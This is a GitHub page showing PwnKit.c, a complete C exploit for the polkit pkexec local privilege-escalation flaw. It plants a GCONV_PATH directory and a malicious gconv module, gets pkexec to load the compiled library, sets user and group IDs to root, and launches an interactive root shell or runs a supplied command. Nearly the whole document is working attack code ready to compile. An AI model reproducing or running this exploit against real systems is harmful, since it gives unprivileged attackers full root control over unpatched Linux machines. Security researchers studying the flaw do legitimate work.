-
Notifications
You must be signed in to change notification settings - Fork 189
/
PwnKit.c
149 lines (120 loc) · 3.13 KB
/
PwnKit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ftw.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>
// 64-bit library
#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif
// 32-bit library
#ifdef __i386__
const char service_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
#endif
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
{
int rv = remove(fpath);
if (rv)
perror(fpath);
return rv;
}
int rmrf(char *path)
{
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}
void entry()
{
int res;
FILE *fp;
char buf[PATH_MAX];
int pipefd[2];
char *cmd;
int argc;
char **argv;
register unsigned long *rbp asm ("rbp");
argc = *(int *)(rbp+1);
argv = (char **)rbp+2;
res = mkdir("GCONV_PATH=.", 0777);
if (res == -1 && errno != EEXIST)
{
perror("Failed to create directory");
_exit(1);
}
res = creat("GCONV_PATH=./.pkexec", 0777);
res = mkdir(".pkexec", 0777);
fp = fopen(".pkexec/gconv-modules", "w+");
if (fp == NULL)
{
perror("Failed to open output file");
_exit(1);
}
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
{
perror("Failed to write config");
_exit(1);
}
fclose(fp);
buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
res = symlink(buf, ".pkexec/pkexec.so");
if (res == -1)
{
perror("Failed to copy file");
_exit(1);
}
pipe(pipefd);
if (fork() == 0)
{
close(pipefd[1]);
buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
if (strstr(buf, "pkexec --version") == buf) {
// Cleanup for situations where the exploit didn't work
puts("Exploit failed. Target is most likely patched.");
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
}
_exit(0);
}
close(pipefd[0]);
dup2(pipefd[1], 2);
close(pipefd[1]);
cmd = NULL;
if (argc > 1) {
cmd = memcpy(argv[1]-4, "CMD=", 4);
}
char *args[] = {NULL};
char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
execve("/usr/bin/pkexec", args, env);
// In case pkexec is not in /usr/bin/
execvpe("pkexec", args, env);
_exit(0);
}
void gconv() {}
void gconv_init()
{
close(2);
dup2(1, 2);
char *cmd = getenv("CMD");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
if (cmd) {
execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
} else {
// Try interactive bash first
execve("/bin/bash", (char *[]){"-i", NULL}, NULL);
// In case interactive bash was not possible
execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
}
_exit(0);
}